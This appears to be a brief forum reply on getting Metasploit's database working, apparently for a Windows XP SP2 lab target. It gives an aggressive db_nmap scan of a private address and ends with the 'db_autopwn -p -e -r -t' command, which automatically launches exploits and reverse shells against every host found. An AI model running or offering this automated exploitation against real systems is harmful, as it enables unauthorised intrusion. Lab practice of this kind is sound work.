Make sure your framework is up to date:
did you connect to the database from within metasploit before running your db_nmap command?
mysqluser:mysqlpass is a user ID and a password for a mysql user you have previously created.
xp_sp2 is the name of the database you would be creating.
db_hosts will show whether or not the database was populated with any data. If no data shows under the columns, your db is not connected properly.
db_nmap -A -O -r 192.168.122.51
If db_hosts is populated, then run:
db_autopwn -p -e -r -t